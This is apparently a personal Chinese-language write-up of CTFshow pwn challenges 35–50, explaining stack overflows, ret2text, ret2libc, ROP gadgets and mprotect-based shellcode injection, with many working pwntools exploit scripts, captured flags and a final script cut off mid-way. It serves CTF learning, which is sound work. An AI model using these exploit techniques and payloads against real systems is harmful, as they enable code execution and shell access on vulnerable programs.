观察一下函数ctfshow这里的dest[104]

所以应该是利用栈溢出

ai再搜了一下./pwnme *****的意思是

所以向argv输入超过140个字节

ssh ctfshow@pwn.challenge.ctf.show -p28269还懵了一下不知道怎么用,结果扔到ubuntu就行了,同时也注意到了cat ./pwnme./pwnme的呈现内容有差别(前者是乱的)

原因如此

直接打开pwnme

输入大于104字节的内容之后

ctfshow{a9ac2a16-c544-47f3-a6af-b631f8393e14}

pwn36

[esp+0h] [ebp-28h]压栈,留出36字节空位给数组s,我看别人写wp中写返回地址会在ebp上面,占4字节(因为这是32位的文件,64位文件是8字节),所以利用栈溢出,填满s(36)+4(覆盖4字节返回地址)=40字节,最后返回到gat_flag函数的地址

gdb ./pwn动态调试,找到get_flag函数的起始地址:

(反正人家wp是这么写的,其实不如用ida直接看)

其实也可以直接通过空格转换成文本视图找到函数地址:

所以payload如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("pwn.challenge.ctf.show", 28107)

offset=0x28+0x4
getflag_addr=0x8048586

payload=b'a'*offset + p32(getflag_addr)

p.sendline(payload)
p.interactive()

加了p.interactive()之后pycharm可以直接交互了,不用在Ubuntu上跑了

要写成原因是

运行paylaod即可:

ctfshow{96a92129-dbab-4582-962e-3c5c3349c739}

pwn37

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char argv, const char envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);#只有14字节读0x32,栈爆爆爆
}

所以套路跟pwn36应该是一样的

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("pwn.challenge.ctf.show", 28255)

offset=0x12+0x4
getflag_addr=0x8048521

payload=b'a'*offset + p32(getflag_addr)

p.sendline(payload)
p.interactive()

可以可以(因为居然没看提示没问ai就做出来了嘻嘻):

ctfshow{1706f0f4-76d3-4eec-a2e1-7589a304dae1}

pwn38

提示:64位的 system(“/bin/sh”) 后门函数给你

64位的

所以ida64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char argv, const char envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ");
puts(asc_400890);
puts(
" ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██");
puts(asc_4009A0);
puts(asc_400A30);
puts(asc_400AB8);
puts(
" ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

所以payload的p32换成p64,同时64位程序涉及到一个“栈对齐”的概念:(两个解释都行)

ai解释

别人wp中解释

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("pwn.challenge.ctf.show", 28306)

offset=0xA+0x8
getflag_addr=0x400657
gflea_addr=0x40065B #这里也可以是gfretn的地址0x40066C
payload=b'a'*offset + p64(gflea_addr) + p64(getflag_addr)
p.sendline(payload)
p.interactive()

剩余流程相同

ctfshow{b6d70d92-c3e5-45b5-b31c-c26226c47fec}

pwn39

32位的 system(); “/bin/sh”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char argv, const char envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ");
puts(asc_80487E0);
puts(
" ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██");
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(
" ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

我勒个移花接木啊。。

在这种没有现成的system(/bin/sh)的情况下需要先跳转到system函数处(plt段地址),添加返回地址,指向/bin/sh字段,所以payload如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote("pwn.challenge.ctf.show", 28299)

offset=0x12+0x4
binsh_addr=0x8048750
system_addr=0x80483a0

payload=b'a'*offset + p32(system_addr) + p32(0) +p32(binsh_addr)
#p32(0)我的理解是地址占位符
p.sendline(payload)
p.interactive()

ctfshow{6541a8ef-a952-4f05-bac4-73d16021d899}

pwn40

跟pwn37-pwn38是一样的,涉及到64位elf堆栈平衡:

关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项_64位 pwn 栈平衡-CSDN博客

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

CTFshow-pwn入门-栈溢出pwn39-pwn40_ctfshow pwn39-CSDN博客

堆栈平衡原理:

只有pop\ret\push等等会出现压栈、出栈等出现寄存器地址变化的操作变化的。

这里对比一下,pwn38中直接到backdoor函数可以出结果,pwn40需要把/bin/sh传到system函数中(“/bin/sh”的地址应该是data层的,而不是函数中间的40065B)。

pwn38

pwn40

这里是用rdi寄存器传递“/bin/sh”,所以要获取pop rdi指令的地址:

ROPgadget --binary pwn --only "pop|ret"(因为后面也需要ret指令来做到堆栈平衡,所以一起拿了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote("pwn.challenge.ctf.show", 28178)

offset=0xA+0x8
pop_rdi_addr=0x4007e3
#用rdi传参,需要传到rdi寄存器中
binsh_addr=0x400808
system_addr=0x400520
ret_addr=0x4004fe

payload=b'a'*offset + p64(pop_rdi_addr) +p64(binsh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

ctfshow{c851c3d0-503e-4d76-a0cc-7f053ebb13ad}

pwn41

1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}
1
2
3
4
5
int hint()
{
system("echo flag");
return 0;
}
1
2
3
4
int useful()
{
return printf("sh");
}

跟39几乎是一样的,只是没放在一起,地址换一下即可

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote("pwn.challenge.ctf.show", 28302)

offset=0x12+0x4
sh_addr=0x80487BA
system_addr=0x80483D0

payload=b'a'*offset + p32(system_addr) + p32(0) +p32(sh_addr)

p.sendline(payload)
p.interactive()

ctfshow{55b51923-d4dd-430f-b1cb-f773cac12d22}

pwn42

跟40一样,改地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote("pwn.challenge.ctf.show", 28186)

offset=0xA+0x8
pop_rdi_addr=0x400843
#用rdi传参,需要传到rdi寄存器中
binsh_addr=0x400872
system_addr=0x400560
ret_addr=0x40053e

payload=b'a'*offset + p64(pop_rdi_addr) +p64(binsh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

ctfshow{e2b990cb-fe6a-408c-ae8b-e63ca74c97b2}

pwn43

参考

ctfshow pwn43-CSDN博客

ps:看了其他好多文章没看懂,这篇文章写得清楚点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int hint()
{
unsigned int v0; // eax
int result; // eax
int v2; // [esp+8h] [ebp-10h] BYREF
int v3; // [esp+Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
v3 = rand();
__isoc99_scanf("%d", &v2);
result = v2;
if ( v3 == v2 )
return system("where is shell?");
return result;
}

这里的rand、srand函数是用来生成随机数字的。不用管。

这道题目中是没有找到“/bin/sh”or“/sh”,所以要用的办法是找到可写的data段,然后把“/bin/sh”写到data段当中,然后再用跟前面类似的方法得flag。

调了一天的gdb没调试出来蒜鸟蒜鸟。。

看一下别人的vmmap的结果吧:

这里能看到文件中0x804b000-0x804c000的位置是可以r&w,所以把文本“/bin/sh”写在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote("pwn.challenge.ctf.show", 28118)

offset=0x6C+0x4
gets_addr=0x8048420
sh_addr=0x804b000+16
system_addr=0x8048450

payload=b'a'*offset + p32(gets_addr) + p32(system_addr) +p32(sh_addr) + p32(sh_addr)

p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

这里的shaddr一个给gets函数一个给system函数

ctfshow{db510b14-2ca9-4412-80ad-1cd0762abfad}

pwn44

和p43内容相同,换成了64位

不知道什么原因,elf32pwndbg调试不了,64的就行:

打断点

这里能看到 0x602000 0x603000是可以写入的

光看vmmap的话不行,还要定位到ida里面的buffer2的空位置

ROPgadget --binary pwn --only "pop|ret"

找到寄存器地址

0x00000000004007f3 : pop rdi ; ret

0x00000000004004fe : ret

system函数和gets函数地址

所以payload的基本顺序就是offset*a+pop_rdi+buf2+ret+gets+pop_rid+buf2+ret+sys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p = remote("pwn.challenge.ctf.show", 28108)

offset=0xA+0x8
pop_rdi_addr=0x4007f3
gets_addr=0x400530
binsh_addr=0x602000+64
system_addr=0x400520
ret_addr=0x4004fe

payload=(b'a'*offset
+ p64(pop_rdi_addr)
+ p64(binsh_addr)
+ p64(ret_addr)
+ p64(gets_addr)
+ p64(pop_rdi_addr)
+ p64(binsh_addr)
+ p64(ret_addr)
+ p64(system_addr))

p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

ctfshow{b31480b8-2058-400a-8e31-fab0ede25575}

pwn45

参考

CTFshow-PWN-栈溢出(pwn45)_ctfshow pwn45-CSDN博客

Basic-ROP

前置知识:

PLT/GOT调用机制:

pwntools库亦可以直接看elf文件的安全机制情况:

1
2
from pwn import *
elf = ELF(r"E:\CTF\pwn学习\45\pwn")

至此开始这道题wp:

沉淀归来。9/28

程序内部没有直接可以使用的system(/bin/sh)这样的后门函数,且有NX保护,所以利用ret2libc的办法到动态库中去找system函数。程序内部通过plt.表链接got.表,由于延迟绑定(优化),所以需要先让puts函数运行之后,再利用相对位置找到libc库中的system函数劫持程序。

在32位系统中,很多共享库(如libc)的地址高字节是\xf7,地址为4字节

据此可以写出第一段payload

1
2
3
4
5
6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

payload1=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload1)

栈溢出+执行puts函数(完成了延迟绑定)+重新跳转回main函数+再转到动态链接的puts函数地址

1
2
3
4
5
6
7
libc=LibcSearcher('puts', puts)
# 根据puts函数的偏移量找到对应的libc库
libc_base=puts-libc.dump('puts')
# libc.dump('puts') 是 puts 函数在 libc 文件中的偏移地址,减去这个偏移地址,我们可以得到 libc 库在运行时的基地址
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
#根据基地址找到对应的函数的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

p=remote('pwn.challenge.ctf.show',28176)
elf=ELF(r"E:\CTF\pwn学习\45\pwn")
# 加载ELF(可执行和可链接格式)二进制文件到elf对象中,使我们能够轻松访问符号、地址和段

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

payload1=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload1)

puts = u32(p.recvuntil(b'\xf7')[-4:])
print(hex(puts))
# 接收数据,直到遇到字节\xf7(在32位系统中,很多共享库(如libc)的地址高字节是\xf7)
# 取接收到的数据的最后 4 个字节,因为 puts 函数的地址是 32 位(4 个字节)
# 泄露 puts 函数在 GOT 表中的实际地址

libc=LibcSearcher('puts', puts)
# 根据puts函数的偏移量找到对应的libc库
libc_base=puts-libc.dump('puts')
# libc.dump('puts') 是 puts 函数在 libc 文件中的偏移地址,减去这个偏移地址,我们可以得到 libc 库在运行时的基地址
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
#根据基地址找到对应的函数的地址

payload2=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload2)

p.interactive()

ctfshow{77ba81ec-577d-496b-89e6-923544380a6c}

pwn46

先获取puts函数在动态链接库中的地址所以payload1思路=offset*a+rdi_ret_addr+puts_got+puts_plt+返回地址(这里需要重新运行一遍),执行流程如下:

所以第二个payload=offset*a+ret_addr+rdi_ret_addr+binsh_addr+system_addr+ctfshow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

p=remote('pwn.challenge.ctf.show',28134)
elf=ELF(r"E:\CTF\pwn学习\46\pwn")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ctfshow= elf.symbols['ctfshow']
main=elf.sym['main']
offset=0x70+8
pop_rid_addr = 0x400803
ret_addr=0x4004fe

payload1=b'a'*offset+p64(pop_rid_addr)+p64(puts_got)+p64(puts_plt)+p64(ctfshow)
p.sendline(payload1)

puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc=LibcSearcher('puts', puts)
libc_base=puts-libc.dump('puts')

system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2=b'a'*offset+p64(ret_addr)+p64(pop_rid_addr)+p64(bin_sh)+p64(system)+p64(ctfshow)
p.sendline(payload2)

p.interactive()

pwn47

gets函数能获取任意长度的内容,是栈溢出的利用手段。

跟踪一下useful

发现了/bin/sh

发现他会把一些关键函数/变量名字告诉我们like gift;同时利用这里的函数地址来获取system函数的地址。

system函数获取方式:利用puts函数,算出基地址,在根据偏移量获取system函数地址:

1
2
3
4
puts_addr = 0x804b028
libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')

payload=offset+system+0+bin_sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show',28257)

bin_sh_addr = 0x804b028
p.recvuntil(b"puts: ")
puts_addr = eval(p.recvuntil(b"\n", drop = True))
print(puts_addr)

# pa_str="f7de6360"
# puts_addr=int(pa_str,16)

# puts_addr=eval("0xf7de6360")

libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')

offset=0x9c+0x4
payload=offset*b'a'+ p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.recvuntil(b"time: ")
p.sendline(payload)

p.interactive()

# pa_str="f7de6360"

# puts_addr=int(pa_str,16)

# puts_addr=eval("0xf7de6360")

反正这两个办法都没有成功。。俺也不知道为啥,只能用recvuntil函数来调用。

pwn48

0xC8=200,栈溢出

这不就是46吗。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

elf=ELF(r"E:\CTF\pwn学习\48\pwn")
p=remote('pwn.challenge.ctf.show',28147)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
offset = 0x6B+4
payload1=b'a'*offset+p32(puts_plt)+p32(main)+p32(puts_got)

p.sendline(payload1)
puts = u32(p.recvuntil(b'\xf7')[-4:])
print(hex(puts))

libc=LibcSearcher('puts', puts)
libc_base=puts-libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload2=b'a'*offset+p32(system)+p32(0)+p32(bin_sh)

p.sendline(payload2)
p.interactive()

pwn49

前置知识

参考:

CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)_ctfshow pwn49-CSDN博客

这里涉及mprotect函数:

1
2
#include <sys/mman.h> // 包含此头文件
int mprotect(void *addr, size_t len, int prot);
  1. void *addr:
  • 指向需要修改权限的内存区域的起始地址
  • 关键要求: 这个地址 addr必须是系统分页大小(sysconf(_SC_PAGESIZE)getpagesize()的返回值,通常是 4096 字节)的整数倍。也就是说,它必须与一个内存页的起始地址对齐。尝试修改非页对齐地址的权限会导致失败(返回 -1,errno设置为 EINVAL)。
  1. size_t len:
  • 需要修改权限的内存区域的长度(以字节为单位)。
  • 系统内部实际上会将 len向上舍入到最近的系统分页大小的整数倍。例如,如果你的页大小是 4096 字节,传入 len=5000,实际修改的区域长度会是 8192 字节(覆盖了包含这 5000 字节的两个完整页)。
  1. int prot:
  • 指定要设置的新访问权限。它是一个位掩码,可以通过按位或 |组合以下常量:
  • prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
    1)PROT_READ;2)PROT_WRITE;3)PROT_EXEC;4)PROT_NONE

PROT_NONE: 内存区域完全不可访问(读、写、执行都不行)。这是最强的保护。

PROT_READ: 允许读取该内存区域的内容。

PROT_WRITE: 允许写入(修改)该内存区域的内容。

PROT_EXEC: 允许执行该内存区域的内容(即可以将该区域作为机器代码执行)。

这里的参数prot:r:4\w:2\x:1 → prot为**7**(1+2+4)就是rwx可读可写可执行

26/1/22补充:

这里是由于二进制问题导致r:4\w:2\x:1,其实应该是读、写、执行分别对应0b100、0b010、0b001,转10进制就是4、2、1,哪个可用,哪一位就为1

常见的组合:

PROT_READ | PROT_WRITE:可读可写。

PROT_READ | PROT_EXEC:可读可执行(常用于代码段)。

PROT_READ | PROT_WRITE | PROT_EXEC:可读可写可执行(需谨慎使用,有安全风险)。

PROT_NONE:禁止访问(用于保护敏感数据或隔离区域)。

PROT_READ:只读。

返回值:

0: 成功。

-1: 失败。此时全局变量 errno会被设置以指示具体的错误原因。

常见的 errno值及其含义:

  • EACCES: 尝试设置一个权限,但该权限与底层内存对象的属性冲突。例如: 尝试写入一个由 mmap映射的文件区域,但该文件是以只读方式打开的。 尝试将内存设置为 PROT_EXEC,但系统策略(如 PaX/grsecurity 的 MPROTECT限制或 SELinux 策略)禁止了这种操作。
  • EINVAL: addr不是有效的页对齐地址(最常见原因)。 len为 0 或负数。 prot包含无效的标志位(不是 PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC或其有效组合)。 指定的内存区域包含不属于进程地址空间的地址(部分或全部无效)。
  • ENOMEM: 内核内部用于描述该内存区域的数据结构不足。 指定的地址范围 [addr, addr+len-1]包含了无效的地址(不在进程的地址空间内)。注意:有些系统可能用 EINVAL表示此错误。 (较少见)修改权限的操作导致需要分配新的页表项等元数据,但内存不足。

题解

回到本题目

这道题无法使用libc库,因为这道题没办法动态链接

所以会涉及到mprotect,思路如下:

既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不就轻松绕过了NX。

明显栈溢出:offset=0x12+0x4

26/1/22补充:

其实这里应该再要看一下有没有canary部分(因为前面是canary found的)

显然是没有检验部分,所以可以栈溢出。

接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。

这样我们的大概思路就是:

填充地址 + mprotect函数 + 传参指令3p1r+ 返回地址+ mprotect的三个参数 + read函数+返回地址+read函数的三个参数

我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。

ROPgadget --binary pwn --only ~~~~"pop|ret" | grep "pop"

0x08056194`0x0809f805\0x080a019b\0x08061c3b`等等,只要是3pop1ret都能用

read函数的地址080488C3

第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。

plt表起始地址:080da000

然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。

别人的payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * ‘a’
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch=’i386’,os=’linux’)

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间权限的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil(" * ************************************* ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()



read= elf.symbols['read']

这个玩意的结果是10进制的 我去,这我能说啥。。,没关系我们用~~hex()~~就行,不需要hex,直接用就行了

看了一下别人的payload,发现跟前面写的风格还是相差比较远,所以用前面的风格复现一下。

  • shellcaft.sh()就是自动写一个/bin/sh

  • read函数

read的地址:p read(p=print

0x806bee0

1
2
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);

也就是说用到read函数的时候也需要三个参数(标准输入、buffer就转到可读写的那片区域、shellcode长度)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

elf=ELF(r"E:\CTF\pwn学习\49\pwn")
p = remote("pwn.challenge.ctf.show", "28139")

offset=0x12+0x4
read= hex(elf.symbols['read'])
mprotect= hex(elf.symbols['mprotect'])
#不用转hex

read= elf.symbols['read']
mprotect= elf.symbols['mprotect']
pppt_addr=0x08056194 #ropgedget搜一下即可
#0x0809f805\0x080a019b\0x08061c3b 都可以
space=0x1000
permission=0x7
plt_start_addr = 0x080da000

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload = offset*b'a'

payload += (p32(mprotect)+
p32(pppt_addr)+
p32(plt_start_addr)+ #mprotect函数的返回地址
p32(space)+
p32(permission))

payload += (p32(read)+
p32(plt_start_addr)+ #read函数的返回地址
p32(0x0)+ # fd参数 (标准输入)
p32(plt_start_addr)+ #shellcode放的地址
p32(len(shellcode))) #最大读取字节

p.recvuntil("*************")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

解释:还没看完

https://node1.niceaigc.net/c/69720463-0760-832f-81b6-3b297f103fa5

pwn50

ctfshow pwn50-CSDN博客

1
2
3
4
5
6
7
[*] 'E:\\CTF\\pwn学习\\50\\pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

是动态链接 libcseacher我们来辣!

1
2
3
4
$ ldd pwn
linux-vdso.so.1 (0x00007fff3a5e2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ee876000000)
/lib64/ld-linux-x86-64.so.2 (0x00007ee876285000)

指明了动态链接的libc库

1
2
3
4
5
6
7
int __fastcall __noreturn main(int argc, const char argv, const char envp)
{
init(argc, argv, envp);
logo();
ctfshow();
exit(0);
}
1
2
3
4
5
6
7
__int64 ctfshow()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Hello CTFshow");
return gets(v1);
}

还是有一个puts函数,可以用来寻基址。

所以这道题和前面一道题一模一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux', log_level='debug')

elf = ELF(r"E:\CTF\pwn学习\50\pwn")
p = remote("pwn.challenge.ctf.show", "28216")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ctfshow= elf.symbols['ctfshow']
main=elf.sym['main']
offset=0x20+8
pop_rid_addr = 0x4007e3
ret_addr=0x4004fe

payload1=b'a'*offset+p64(pop_rid_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)

可以在发完payload之后加以下内容,看返回的内容

1
2
recv = p.recvrepeat(0.5)
print(recv)

所以可以recv直到0x7f,保留最后6个字节,按照小端序(pwntools用小端序),利用ljust在前面填充0x00到8字节

1
2
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

因为开启 ASLR 后,libc 每次运行加载到的地址都会变(随机化),但:

  • libc 内部各函数/字符串的偏移(offset)是固定的
    • 例如 puts 距离 libc 开头的偏移是固定的:puts_offset
    • system_offset"/bin/sh"_offset 也固定

所以利用已经找到的puts在libc的地址和libc中固定的偏移量找到base基址,从而找到system函数。

对于libc库的部分提供两种办法:

法一:可以用libcsearcher(需要联网)

1
2
3
4
5
from LibcSearcher import *
libc=LibcSearcher('puts', puts)
libc_base=puts-libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

法二:用ldd找到对应的libc库

1
2
3
4
5
6
7
8
9
10
11
libc = ELF(r"/lib/x86_64-linux-gnu/libc.so.6")

puts_off = libc.sym['puts']
sys_off = libc.sym['system']
binsh_off = next(libc.search(b"/bin/sh\x00"))
#search是一个迭代器,next取第一个

libc_base = puts - puts_off

system = libc_base + sys_off
bin_sh = libc_base + binsh_off

有了以上信息则可以写出第二段payload(payload1回到了main函数)

1
2
3
payload2=b'a'*offset+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
p.sendline(payload2)
p.interactive()

成功。

补充:

gets函数的调用如下:

我们转到汇编格式

可以看到是PLT表,他这里直接jmp到0x602020也就是GOT.PLT表(这个是中专门服务于PLT表的 在GOT表中的子分区)

再接着追踪这里的gets函数

能看到这里指向的是一个外部函数(external

当elf运行之后,got表会存下外部libc中函数对应的地址

解2(failed)

除此之外,我在网上看到了另一种解法

参考

这道题逻辑是:

泄露libcmprotect弄出一块可写的区域发送shellcode

  • 泄露libc
1
payload1=b'a'*offset + p64(pop_rdi_ret) +p64(puts_plt)+p64(puts_got) +p64(main)
  • mprotect
1
2
3
4
5
payload2 = (b'a' * offset + 
p64(pop_rdi) + p64(bss_page) + # rdi = bss页地址
p64(pop_rsi_r15) + p64(0x1000) + p64(0) + # rsi = 4KB, r15 = 0
p64(pop_rdx) + p64(0x7) + # rdx = 7 (RWX)
p64(mprotect) + p64(ctfshow)) # 调用mprotect后返回ctfshow
  • 发送shellcode
1
2
3
4
payload3 = (b'a' * offset + 
p64(pop_rdi) + p64(bss) + # rdi = bss地址作为gets的参数
p64(elf.plt['gets']) + # 调用gets读取shellcode到bss
p64(bss)) # 跳转到bss执行shellcode

不过没成功。。没想通

附:64位shellcode发送格式

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from LibcSearcher import *
import os

os.environ['AS'] = r'D:\Program Files\msys2-64\mingw64\bin\as.exe'
os.environ['PATH'] = r'D:\Program Files\msys2-64\mingw64\bin;' + os.environ.get('PATH', '')

context.arch = 'amd64'
context.os = 'linux'

shellcode_64 = asm(shellcraft.sh())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = process('./pwn')
# io = remote('192.168.79.134', 10001)
elf = ELF('./pwn')

pop_rdi_ret = 0x00000000004007e3 # pop rdi ; ret gadget
ret_gadget = 0x00000000004004fe # 单独的ret指令,用于栈对齐

main = elf.sym['main']

print(f"main function address: {hex(main)}")

# 第一步:泄露libc地址
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts']) # 将puts的GOT地址作为参数
payload += p64(elf.plt['puts']) # 调用puts打印puts的实际地址
payload += p64(main) # 返回main函数重新开始

io.sendlineafter(b"Hello CTFshow", payload) # 等待提示后发送

# 接收泄露的地址
io.recvline() # 丢弃第一行
leak_data = io.recvline().strip() # 获取泄露的地址行
puts_addr = u64(leak_data.ljust(8, b'\x00'))

print(f"Leaked puts address: {hex(puts_addr)}")

# 计算libc基地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
print(f"Libc base address: {hex(libc_base)}")

# 计算system和/bin/sh地址
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

print(f"System address: {hex(system_addr)}")
print(f"/bin/sh address: {hex(binsh_addr)}")

# 第二步:调用system("/bin/sh")
# 在64位系统中,需要确保栈对齐,添加一个ret指令
payload = cyclic(40)
